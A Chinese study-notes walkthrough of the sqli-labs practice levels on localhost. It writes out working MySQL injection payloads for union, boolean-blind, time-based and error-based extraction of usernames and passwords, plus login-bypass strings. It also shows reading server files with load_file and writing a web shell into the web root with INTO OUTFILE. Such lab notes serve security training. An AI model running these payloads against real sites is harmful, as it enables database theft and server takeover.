在url后加单引号,报错,说明存在sql注入
http://localhost/sqli/Less-1/?id=1'
以下两条语句都返回正常,说明不是数字型注入
http://localhost/sqli/Less-1/?id=1 and 1=1 --+
http://localhost/sqli/Less-1/?id=1 and 1=2 --+
第一条语句返回正常,第二条语句返回异常,说明为字符型注入,且闭合正确
http://localhost/sqli/Less-1/?id=1' and 1=1 --+
http://localhost/sqli/Less-1/?id=1' and 1=2 --+
判断数据的列数,说明有三列
http://localhost/sqli/Less-1/?id=1' order by 1 --+ 返回正常
http://localhost/sqli/Less-1/?id=1' order by 3 --+ 返回正常
http://localhost/sqli/Less-1/?id=1' order by 5 --+ 返回错误
http://localhost/sqli/Less-1/?id=1' order by 4 --+ 返回错误
判断回显位,发现2、3位置上的数据可以回显
http://localhost/sqli/Less-1/?id=-1' union select 1,2,3 --+
查询当前用户,数据库
http://localhost/sqli/Less-1/?id=-1' union select 1,user(),database() --+
其他常见函数:
version() 版本号
@@basedir mysql 安装路径
@@datadir 数据库路径
@@version_compile_os 操作系统版本
通过查看数据库版本大于5,进一步通过数据库中的默认表查询数据库名
http://localhost/sqli/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
查询数据库security
中的表名
http://localhost/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
查询users
表中是字段名
http://localhost/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
逐个查询表中的username和password
http://localhost/sqli/Less-1/?id=-1' union select 1,concat_ws(' : ',username,password),3 from users limit 0,1 --+
http://localhost/sqli/Less-1/?id=-1' union select 1,concat_ws(' : ',username,password),3 from users limit 1,1 --+
加单引号报错,第二条语句返回正常,第三条语句返回错误,说明是数字型注入
http://localhost/sqli/Less-2/?id=1'
http://localhost/sqli/Less-2/?id=1 and 1=1 返回正常
http://localhost/sqli/Less-2/?id=1 and 1=2 返回错误
其他步骤与less-1相同
http://localhost/sqli/Less-2/?id=-1 union select 1,concat_ws(' : ',username,password),3 from users limit 0,1 --+
加单引号报错,但是报错信息不同
http://localhost/sqli/Less-3/?id=1'
通过报错信息'1'') LIMIT 0,1
可知查询语句可能为:(主要是id=('$id')
部分)
SELECT * FROM users WHERE id=('$id') LIMIT 0,1
构造闭合,页面返回正常
http://localhost/sqli/Less-3/?id=1') --+
查询用户密码
http://localhost/sqli/Less-3/?id=-1') union select 1,concat_ws(' : ',username,password),3 from users limit 0,1 --+
加单引号不报错,加双引号报错
http://localhost/sqli/Less-4/?id=1" --+
报错内容
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
通过"1"") LIMIT 0,1
这一部分,我们可以构建闭合
http://localhost/sqli/Less-4/?id=1") --+
查询用户密码
http://localhost/sqli/Less-4/?id=-1") union select 1,concat_ws(' : ',username,password),3 from users limit 0,1 --+
闭合后没有回显,盲注?
http://localhost/sqli/Less-5/?id=-1' union select 1,2,3 --+
何为盲注?盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。从background-1 中,我们可以知道盲注分为三类。
•基于布尔 SQL 盲注
•基于时间的 SQL 盲注
•基于报错的 SQL 盲注
在盲注的时候,我们需要用到截取字符串的相关函数(主要用于布尔盲注)
left(database(),1)>’s’ //left()函数left(a,b)从左侧截取 a 的前 b 位
ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+
//substr()函数,ascii()函数,substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。Ascii()将某个字符转换为 ascii 值,例如ascii(substr((select database()),1,1))=98
ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23
//ORD()函数,MID()函数,mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位
Ord()函数同 ascii(),将字符转为 ascii 值
regexp 正则注入
正则注入介绍:http://www.cnblogs.com/lcamry/articles/5717442.html
用法介绍:select user() regexp '^[a-z]'; 正则表达式的用法,user()结果为 root,regexp 为匹配 root 的正则表达式。第二位可以用 select user() regexp '^ro'来进行。当正确的时候显示结果为 1,不正确的时候显示结果为0
like 匹配注入
和上述的正则类似,mysql 在匹配的时候我们可以用 ike 进行匹配。
用法:select user() like ‘ro%’
其他用到的函数(主要用于报错的盲注)
count()函数
COUNT(*)函数返回由SELECT语句返回的结果集中的行数。COUNT(*)函数计算包含NULL和非NULL值的行,即:所有行。
具体用法:https://blog.csdn.net/u012660464/article/details/78623038/
rand()
floor(rand()*2)) 生成0到2之间的随机数,即0或1
select exp(~(select * FROM(SELECT USER())a))
//double 数值类型超出范围
//Exp()为以 e 为底的对数函数;适用范围:版本 5.5.5~5.5.49
可以参考 exp 报错文章:http://www.cnblogs.com/lcamry/articles/5509124.html
select !(select * from (select user())x) -(ps:这是减号) ~0
//bigint 超出范围;~0 是对 0 逐位取反,很大的版本在 5.5.5 及其以上Mysql 注入
可以参考文章 bigint 溢出文章 http://www.cnblogs.com/lcamry/articles/5509112.html
extractvalue(1,concat(0x7e,(select @@version),0x7e))
//mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
//mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
//mysql 重复特性,此处重复了 version,所以报错
其他用到的函数(基于时间的盲注)
If(ascii(substr(database(),1,1))>115,0,sleep(5))%23
//if 判断语句,条件为假,执行 sleep
select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,
9,.'));
//该语句意思是在 0-9 之间找版本号的第一位。但是在我们实际渗透过程中,这种用法是不可取的,因为时间会有网速等其他因素的影响,所以会影响结果的判断。
UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘MSG’,’by 5 seconds’)),null) FROM (select database() as current) as tb1;
//BENCHMARK(count,expr)用于测试函数的性能,参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。这是一种边信道攻击,在运行过程中占用大量的 cpu 资源。推荐使用 sleep()函数进行注入。
通过单引号闭合,用left()函数判断数据库的版本号是否等于5
http://localhost/sqli/Less-5/?id=1' and left(version(),1)=5 --+
返回正常,说明版本号第一位为5
判断数据库的长度,长度为8
http://localhost/sqli/Less-5/?id=1' and length(database()) >=9 --+ 返回错误
http://localhost/sqli/Less-5/?id=1' and length(database()) >=8 --+ 返回正常
判断数据库的每一个字符,第一个字符为‘s’
http://localhost/sqli/Less-5/?id=1' and left(database(),1) >='t' --+
http://localhost/sqli/Less-5/?id=1' and left(database(),1) >='s' --+
这里还可以用substr()函数和ascii()函数来判断
http://localhost/sqli/Less-5/?id=1' and substr(database(),1,1) >='s' --+
http://localhost/sqli/Less-5/?id=1' and ascii(substr(database(),1,1)) >=115 --+
同理,利用二分法判断出当前数据库为‘security’
判断数据库‘security’中的第一个表的长度,长度为6
http://localhost/sqli/Less-5/?id=1'and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>=6 --+
判断数据库中第一个表的名字(可以通过工具爆破)
http://localhost/sqli/Less-5/?id=1'and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),5) = 'emails' --+
判断第一个表中的第一个字段名的长度,长度为2
http://localhost/sqli/Less-5/?id=1'and length((select column_name from information_schema.columns where table_name='emails' limit 0,1)) =2 --+
判断第一个表中的第一个字段名,字段名为id
http://localhost/sqli/Less-5/?id=1'and substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1) ='i' --+
http://localhost/sqli/Less-5/?id=1'and substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),2,1) ='d' --+
判断表中的第二个字段名,长度为8,字段名为email_id
判断表中的第一个条数据
http://localhost/sqli/Less-5/?id=1' and (select id from emails limit 0,1)=1 --+
//说明id从1开始,注意这里的表名不要加引号
http://localhost/sqli/Less-5/?id=1' and substr((select email_id from emails limit 0,1),1,1)>= 'd' --+ 返回正常
http://localhost/sqli/Less-5/?id=1' and substr((select email_id from emails limit 0,1),1,1)>= 'D' --+ 返回正常
//这里发现用D和d它都返回正常,最好还是用acsii码来判断,而且字段里面除了有英文字符,还有其他特殊字符,用ascii码来判断更加方便
http://localhost/sqli/Less-5/?id=1' and ascii(substr((select email_id from emails limit 0,1),1,1)) =68 --+ 返回正常
http://localhost/sqli/Less-5/?id=1' and substr((select email_id from emails limit 0,1),1,1)>= 'e' --+ 返回错误
//说明id=1的email_id的第一个字符为‘D’,同理可判断出该email_id为‘Dumb@dhakkan.com’
到此为止,我们通过布尔盲注获取到了数据库中的数据,但是我们逐个判断每一个数据库,每一个表,还是比较麻烦,可以通过脚本或者其他方法来提高注入效率
通过regexp来确定数据库中是否有某张表,某个字段
http://localhost/sqli/Less-5/?id=1' and 1=(select 1 from information_schema.tables where table_name regexp '^users' limit 0,1)--+ 返回正常
//说明数据库中有以‘users’开头的表
http://localhost/sqli/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^user' limit 0,1)--+ 返回正常
//说明‘users’表中有字段名以‘user’开头
http://localhost/sqli/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^password' limit 0,1)--+ 返回正常
通过报错注入和延时注入获取数据库内容
1、利用函数floor()的报错注入
floor() floor函数的作用就是返回小于等于括号内该值的最大整数即向下取整
rand()本身是返回0~1的随机数,但在后面*2就变成了返回0~2之间的随机数
配合上floor函数就可以产生确定的两个数,即0和1
并且结合固定的随机数种子0,它每次产生的随机数列都是相同的值
count(*)函数作用为统计结果的记录数
报错原因 参考链接
payload:
select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x
select 1 from ()a ,这句查询语句的意思是在a中查询1,a就是将括号中的内容变为一个整体
其中floor为向下取整,rand()为随机数在0到1之间,而乘以2后就在0-1或者1-2之间,floor向下取整后这个数就是0或者1,比如database()为security那么括号中的内容就为security0或者security1。然后就按照内容不断插入到gourp by的虚拟表中。然而当这个操作在进行的过程中,假如第一次随机并插入了security1并设置主键,第二次随机出的为security0,那么floor发现这个数之前没有出现过,就会在插入表之前迅速地再次随机出一个数,如果说随机出了security1,gourp by不会认为他是security1直接计数器加一,而是以为他还是security0,插入到表并设置主键,然而表中已经有一个security1了,在数据库表中主键是不能重复的,所以就会爆出主键冲突的错误。
但是我们不能保证第二次随机出的一定是0,所以就不会绝对出现报错,这也是floor又叫薛定谔报错的原因。但是我们在rand()中加入基数0变成rand(0),那么随机出的数就会有规律,就会绝对报错。
所以说在这个sql语句中主要是rand、floor、group by、concat这几个函数共同起作用导致的主键冲突报错
查询当前数据库为‘security’
http://localhost/sqli/Less-5/?id=1' union Select 1,count(*),concat((select database()),floor(rand(0)*2))a from information_schema.columns group by a--+
查询数据库中的表
http://localhost/sqli/Less-5/?id=1' union Select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand(0)*2))a from information_schema.columns group by a--+
//第三个表是users表
查询表中的字段名
http://localhost/sqli/Less-5/?id=1' union Select 1,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 9,1),floor(rand(0)*2))a from information_schema.columns group by a--+
http://localhost/sqli/Less-5/?id=1' union Select 1,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 10,1),floor(rand(0)*2))a from information_schema.columns group by a--+
//查询出‘usernmae’和‘password’字段
查询内容
http://localhost/sqli/Less-5/?id=1' union Select 1,count(*),concat((select username from users limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a--+
http://localhost/sqli/Less-5/?id=1' union Select 1,count(*),concat((select password from users limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a--+
//查询出用户名密码:Dumb:Dumb
2、利用 double 数值类型超出范围进行报错注入
exp()即为以e为底的对数函数
但是这个数学函数有一个问题,那就是当传递一个大于709的值时,函数exp()就会引起一个溢出错误
将0按位取反就会返回“18446744073709551615”,再加上函数成功执行后返回0的缘故,我们将成功执行的函数取反就会得到最大的无符号BIGINT值
payload:
select (exp(~(select*from(select user())x)))
http://localhost/sqli/Less-5/?id=1' union select (exp(~(select * from (select user())x))),2,3 --+
//不能注出数据,数据库版本不符合,在mysql命令行中也无法执行
3、利用 bigint 溢出进行报错注入
原理
只有5.5.5及其以上版本的MySQL才会产生溢出错误消息,之下的版本对于整数溢出不会发送任何消息
数据类型BIGINT的长度为8字节,也就是说,长度为64比特。这种数据类型最大的有符号值,用二进制、十六进制和十进制的表示形式分别为“0b0111111111111111111111111111111111111111111111111111111111111111”、“0x7fffffffffffffff”和“9223372036854775807”。 当对这个值进行某些数值运算的时候,比如加法运算,就会引起“BIGINT value is out of range”错误
对数值0逐位取反,得到一个无符号的最大BIGINT值,我们对~0进行加减运算的话,也会导致BIGINT溢出错误。
http://localhost/sqli/Less-5/?id=1' union select (!(select * from(select user())x)- ~0),2,3 --+
同样是不能解析函数,可能是环境版本问题
4、xpath 函数报错注入(extractvalue和updatexml)
原理
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称;
第二个参数:XPath_string (Xpath格式的字符串);
作用:从目标XML中返回包含所查询值的字符串;
payload:
and extractvalue(1,concat((SELECT group_concat(0x7e,column_name) from information_schema.columns where table_name='users' ))) --+;
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称;
第二个参数:XPath_string (Xpath格式的字符串);
第三个参数:new_value,String格式,替换查找到的符合条件的数据;
payload:
and updatexml(1,concat((SELECT group_concat(0x7e,column_name) from information_schema.columns where table_name='users' )),1) --+
该函数对XPath_string进行查询操作,如果符合语法格式要求,则用第三个参数替换,不符合语法格式要求,则会报错并带出查询的结果
http://localhost/sqli/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+
http://localhost/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+
5、利用数据的重复性
原理:
name_const(name,value)函数会用传入的参数返回一列结果集.传入的参数必须是常量,如果不是则报错
报错payload :因为两列列名相同,外面选择时候报错,说重复列,经测试,只能查version() 函数其他可能因为不是常量的原因报参数错误的错误,不会回显想要的信息
http://localhost/sqli/Less-5/?id=1' union select 1,2,3 from (select name_const(version(),1),name_const(version(),1))x --+
6、延时注入
延时注入多与if(expr1,expr2,expr3)结合使用。此if语句含义是:如果expr1是true,则if()的返回值为expr2;否则返回值则为expr3
利用sleep()函数延时注入
http://127.0.0.1/sql/Less-5/?id=1'and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+
当错误的时候会有5秒的时间延时。
利用benchmark()函数延时注入
select benchmark(count,expr),是重复执行count次expr表达式,使得处理时间很长,来产生延迟,
比如select benchmark(1000000,encode("hello","good"));
select benchmark(5000000, md5( 'test' ));
http://127.0.0.1/sql/Less-5/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+
当结果正确的时候,运行ENCODE(‘MSG’,‘by 5 seconds’)操作50000000次,会占用一段时间。
与less-5同理,改用双引号闭合
http://localhost/sqli/Less-6/?id=1" union Select 1,count(*),concat((select username from users limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a--+
http://localhost/sqli/Less-6/?id=1" union Select 1,count(*),concat((select password from users limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a--+
函数1
Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。
使用条件:
A、必须有权限读取并且文件必须完全可读
and (select count(*) from mysql.user)>0
/* 如果结果返回正常,说明具有读写权限。
/* 返回错误,应该是管理员给数据库帐户降权
B、欲读取文件必须在服务器上
C、必须指定文件完整的路径
D、欲读取文件必须小于 max_allowed_packet
如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。
比较难满足的
就是权限,在 windows 下,如果 NTFS 设置得当,是不能读取相关的文件的,当遇到只有administrators 才能访问的文件,users 就别想 load_file 出来。
难点:绝对物理路径
利用 hex()将文件内容导出来,尤其是 smb 文件时可以使用。
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
Explain:“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的 ASCII 代码
-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
Explain:“c:/boot.ini”的 16 进制是“0x633a2f626f6f742e696e69”
-1 union select 1,1,1,load_file(c:\\boot.ini)
Explain:路径里的/用 \\代替
在很多 PHP 程序中,当提交一个错误的 Query,如果 display_errors = on,程序就会暴露WEB 目录的绝对路径,只要知道路径,那么对于一个可以注入的 PHP 程序来说,整个服务器的安全将受到严重的威胁。
常用路径:
http://www.cnblogs.com/lcamry/p/5729087.html
函数2
replace(String,from_str,to_str)
//将String中所有出现的from_str替换为to_str。
函数3
文件导入到数据库
LOAD DATA INFILE 语句用于高速地从一个文本文件中读取行,并装入一个表中。文件名称必须为一个文字字符串。
示例:load data infile '/tmp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'
将/tmp/t0.txt 导入到 t0 表中,character set gbk 是字符集设置为 gbk,fields terminated by 是每一项数据之间的分隔符,lines terminated by 是行的结尾符。
当错误代码是 2 的时候的时候,文件不存在,错误代码为 13 的时候是没有权限,可以考虑/tmp 等文件夹。
函数4
导入到文件
SELECT.....INTO OUTFILE 'file_name'
可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有 FILE
权限,才能使用此语法。file_name 不能是一个已经存在的文件。
我们一般有两种利用形式:
第一种直接将 select 内容导入到文件中:
Select version() into outfile “c:\\phpnow\\htdocs\\test.php”
此处将 version()替换成一句话,
即Select into outfile “c:\\phpnow\\htdocs\\test.php”
直接连接一句话就可以了,其实在 select 内容中不仅仅是可以上传一句话的,也可以上传很多的内容。
第二种修改文件结尾:
Select version() Into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16 进制文件
解释:通常是用‘\r\n’结尾,此处我们修改为自己想要的任何文件。同时可以用 FIELDS
TERMINATED BY 16 进制可以为一句话或者其他任何的代码,可自行构造。在 sqlmap 中 os-shell 采取的就是这样的方式。
具体可参考 os-shell 分析文章:http://www.cnblogs.com/lcamry/p/5505110.html
TIPS:
(1)可能在文件路径当中要注意转义,这个要看具体的环境
(2)上述我们提到了 load_file(),但是当前台无法导出数据的时候,我们可以利用下面的语句:
select load_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini’)into outfile ‘c:\\wamp\\www\\test.php’
可以利用该语句将服务器当中的内容导入到 web 服务器下的目录,这样就可以得到数据了。
上述 my.ini 当中存在 password 项(不过默认被注释),当然会有很多的内容可以被导出来。
判断闭合 ,单引号报错,双引号不报错,说明闭合中含有单引号,但是加注释后,单引号依旧报错,说明不仅仅用单引号来闭合,后通过测试是用’))来闭合
http://localhost/sqli/Less-7/?id=1' ))
执行导入文件的语句没有执行成功
http://localhost/sqli/Less-7/?id=1' )) union select 1,2,3 into outfile "D:\\phpStudy\\WWW\\sqli\\Less-7\\uu.txt" --+
查找原因:
一、secure_file_priv参数说明
这个参数用来限制数据导入和导出操作的效果,例如执行LOAD DATA、SELECT … INTO OUTFILE语句和LOAD_FILE()函数。这些操作需要用户具有FILE权限。 如果这个参数没有设置,这个变量没有效果。如果这个参数设为一个目录名,MySQL服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在,MySQL服务不会创建它;
如果这个参数为NULL,MySQL服务会禁止导入和导出操作。
查看该参数的命令:
show variables like ‘%secure_file_priv%’;
参数含义:
secure_file_priv=null 不允许csv文件的导入导出
secure_file_priv=xxx csv文件导入导出到某路径
secure_file_priv=/ csv文件可导入到任意路径
windows系统下的设置方法:
在my.ini里面添加
secure_file_priv=""
重启mysql
参考链接:https://blog.csdn.net/ZZQHELLO2018/article/details/107414854
重新执行,虽然报错了,但是已经执行成功,产生了uu.txt
接下来可以向文件中写入一句话木马,并用websehll管理工具连接
测试闭合,发现是单引号闭合,报错注入无回显
http://localhost/sqli/Less-8/?id=1' and select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x --+
尝试延时注入
http://localhost/sqli/Less-8/?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5)) --+
延时注入,通过单引号闭合
查询当前数据库名,依次判断,可得数据库名为security
http://localhost/sqli/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5)) --+
http://localhost/sqli/Less-9/?id=1' and if(ascii(substr(database(),2,1))=101,1,sleep(5)) --+
查询当前数据库中的表名
http://localhost/sqli/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5)) --+
//第一个表名的第一个字符为‘e’,依次类推,可以得到表名‘emails’
http://localhost/sqli/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5)) --+
//第二个数据表的第一位是'r',依次类推,得到表名‘referers’
再以此类推,我们可以得到所有的数据表emails,referers,uagents,users
查询users表中的字段名
http://localhost/sqli/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=117,1,sleep(5)) --+
//表中的第一个字段名的第一个字符为‘u’,依次类推,得到字段名‘user_id’
//还可以查询到username和password字段名
查询username和password的字段内容
http://localhost/sqli/Less-9/?id=1' and if(ascii(substr((select username from information_schema.columns limit 0,1),1,1))=68,1,sleep(5)) --+
//第一个username的第一个字符为‘D’,依次类推,得到字段内容‘Dumb’
http://localhost/sqli/Less-9/?id=1' and if(ascii(substr((select password from information_schema.columns limit 0,1),1,1))=68,1,sleep(5)) --+
第一个password的第一个字符为‘D’,依次类推,得到字段内容‘Dumb’
通过双引号闭合,其他的注入过程与less-9相同,参考less-9
输入用户名密码,会回显用户名和密码
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tZm34SQb-1667371665309)(sqli%E9%80%9A%E5%85%B3%E7%AC%94%E8%AE%B0.assets/image-20221021162133282.png)]
加单引号,判断参数的闭合方式,提交admin’ 报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin' LIMIT 0,1' at line 1
加注释后返回正常,提交admin' #
返回正常
尝试万能密码,为什么返回不一样?
admin' or 1=1# 返回Dumb
admin' or '1'='1'# 返回Dumb
admin' or '1'='1# 返回admin
分析源代码
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
@$sql="SELECT username, password FROM users WHERE username='$admin' or 1=1#' and password='$passwd' LIMIT 0,1";
@$sql="SELECT username, password FROM users WHERE username='admin'or'1'='1#' and password='$passwd' LIMIT 0,1";
判断闭合方式
admin' 报错
admin' # 不报错
//参数通过单引号闭合
判断字段数
admin' order by 1# 返回正常
admin' order by 2# 返回正常
admin' order by 3# 返回异常
//一共有两个字段
判断回显位置
admin' and 1=2 union select 1,2#
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OfLtcHeu-1667371665311)(sqli%E9%80%9A%E5%85%B3%E7%AC%94%E8%AE%B0.assets/image-20221021184414023.png)]
通过union联合查询,查询信息
admin' and 1=2 union select 1,2 #
admin' and 1=2 union select 1,database() #
admin' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
admin' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
admin' and 1=2 union select 1,group_concat(username,password) from users #
通过判断,通过")
来闭合参数
admin") #
其他过程与less-11相同
admin") and 1=2 union select 1,group_concat(username,password) from users #
判断闭合,先输入admin’,产生报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin'') and password=('') LIMIT 0,1' at line 1
通过报错可知通过')
闭合参数
admin') # //登录成功
虽然登录成功了,但是没有显示登录信息,可以尝试盲注
admin') and left(database(),1)='s' #
//显示登录成功,表示判断正确
其他注入过程与less-5类似
判断闭合为 "
admin" #
无回显,可以利用布尔盲注和报错注入,这里利用一下报错注入
admin" extractvalue(1,concat(0x7e,(select @@version),0x7e))#
执行成功,但是没有解析函数
无报错,无回显,可以通过延时注入,判断成功,则登录成功,判断失败则延时
判断参数的闭合,通过测试,发现通过'
闭合参数
admin' //登录失败
admin' # //登录成功
延时注入
admin' and if(ascii(substr(database(),1,1))=115,1,sleep(5))#
//判断成功,显示登录成功
与第15关类似,通过 ")
闭合参数
admin") and if(ascii(substr(database(),1,1))=115,1,sleep(5))#
//判断成功,显示登录成功
增加数据
insert into users values('16','lambda','lambda');
删除数据
删数据
delete from 表名;
delete from 表名 where id=1;
删结构
drop database 数据库名; //删除数据库
drop table 表名; //删除表
alter table 表名 drop column 列名;
eg:
delete from users where id=6;
修改数据
修改所有:update 表名 set 列名=‘新的值,非数字加单引号’;
带条件的修改:update 表名 set 列名=‘新的值,非数字加单引号’ where id=6;
eg:
update users set username='aa' where id=5;
用户名通过mysql_real_escape_string()函数转义了sql语句中的特殊字符
常见转义函数
1、addslashes()
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
单引号(')
双引号(")
反斜杠(\)
NULL
语法:
addslashes(string)
string:需要转义的字符串
返回值:返回已转义的字符串。
php版本:4+
2、stripslashes()
函数删除由 addslashes() 函数添加的反斜杠。
3、mysql_real_escape_string()
函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
\x00
\n
\r
\
'
"
\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
语法:mysql_real_escape_string(string,connection)
参数 描述
string 必需。规定要转义的字符串。
connection 可选。规定 MySQL 连接。如果未规定,则使用上一个连接。
说明:本函数将 string 中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于mysql_query()。
利用报错注入查询版本号
123' and extractvalue(1,concat(0x7e,(select @@version),0x7e))#
其他语句参考报错注入
HTTP 头部详解
1、 Accept:告诉 WEB 服务器自己接受什么介质类型,*/* 表示任何类型,type/* 表示该类型下的所有子类型,type/sub-type。
2、 Accept-Charset: 浏览器申明自己接收的字符集
Accept-Encoding: 浏览器申明自己接收的编码方法,通常指定压缩方法,是否支持压缩,支持什么压缩方法(gzip,deflate)
Accept-Language::浏览器申明自己接收的语言
语言跟字符集的区别:中文是语言,中文有多种字符集,比如 big5,gb2312,gbk 等等。
3、 Accept-Ranges:WEB 服务器表明自己是否接受获取其某个实体的一部分(比如文件的一部分)的请求。bytes:表示接受,none:表示不接受。
4、 Age:当代理服务器用自己缓存的实体去响应请求时,用该头部表明该实体从产生到现在经过多长时间了。
5、 Authorization:当客户端接收到来自 WEB 服务器的 WWW-Authenticate 响应时,用该头部来回应自己的身份验证信息给 WEB 服务器。
6、 Cache-Control:请求:no-cache(不要缓存的实体,要求现在从 WEB 服务器去取)
max-age:(只接受 Age 值小于 max-age 值,并且没有过期的对象)
max-stale:(可以接受过去的对象,但是过期时间必须小于 max-stale 值)
min-fresh:(接受其新鲜生命期大于其当前 Age 跟 min-fresh 值之和的缓存对象)
响应:public(可以用 Cached 内容回应任何用户)
private(只能用缓存内容回应先前请求该内容的那个用户)
no-cache(可以缓存,但是只有在跟 WEB 服务器验证了其有效后,才能返回给客户端)
max-age:(本响应包含的对象的过期时间)
ALL: no-store(不允许缓存)
7、 Connection:请求:close(告诉 WEB 服务器或者代理服务器,在完成本次请求的响应后,断开连接,不要等待本次连接的后续请求了)。
keepalive(告诉 WEB 服务器或者代理服务器,在完成本次请求的响应后,保持连接,等待本次连接的后续请求)。
响应:close(连接已经关闭)。
keepalive(连接保持着,在等待本次连接的后续请求)。
Keep-Alive:如果浏览器请求保持连接,则该头部表明希望 WEB 服务器保持连接多长时间(秒)。例如:Keep-Alive:300
8、 Content-Encoding:WEB 服务器表明自己使用了什么压缩方法(gzip,deflate)压缩响应中的对象。例如:Content-Encoding:gzip
9、Content-Language:WEB 服务器告诉浏览器自己响应的对象的语言。
10、Content-Length: WEB 服务器告诉浏览器自己响应的对象的长度。例如:Content-Length:26012
11、Content-Range: WEB 服务器表明该响应包含的部分对象为整个对象的哪个部分。例如:
Content-Range: bytes 21010-47021/47022
12、Content-Type: WEB 服务器告诉浏览器自己响应的对象的类型。例如:Content-Type:application/xml
13、 ETag:就是一个对象(比如 URL)的标志值,就一个对象而言,比如一个 html 文件,
如果被修改了,其 Etag 也会别修改,所以 ETag 的作用跟 Last-Modified 的作用差不多,主
要供 WEB 服务器判断一个对象是否改变了。比如前一次请求某个 html 文件时,获得了其
ETag,当这次又请求这个文件时,浏览器就会把先前获得的 ETag 值发送给 WEB 服务器,
然后 WEB 服务器会把这个 ETag 跟该文件的当前 ETag 进行对比,然后就知道这个文件有
没有改变了。
14、 Expired:WEB 服务器表明该实体将在什么时候过期,对于过期了的对象,只有在跟
WEB 服务器验证了其有效性后,才能用来响应客户请求。是 HTTP/1.0 的头部。例如:Expires:Sat, 23 May 2009 10:02:12 GMT
15、 Host:客户端指定自己想访问的 WEB 服务器的域名/IP 地址和端口号。例如:Host:rss.sina.com.cn
16、 If-Match:如果对象的 ETag 没有改变,其实也就意味著对象没有改变,才执行请求的
动作。
17、If-None-Match:如果对象的 ETag 改变了,其实也就意味著对象也改变了,才执行请求
的动作。
18、 If-Modified-Since:如果请求的对象在该头部指定的时间之后修改了,才执行请求的动
作 ( 比 如 返 回 对 象 ) , 否 则 返 回 代 码 304 , 告 诉 浏 览 器 该 对 象 没 有 修 改 。 例 如 :
If-Modified-Since:Thu, 10 Apr 2008 09:14:42 GMT
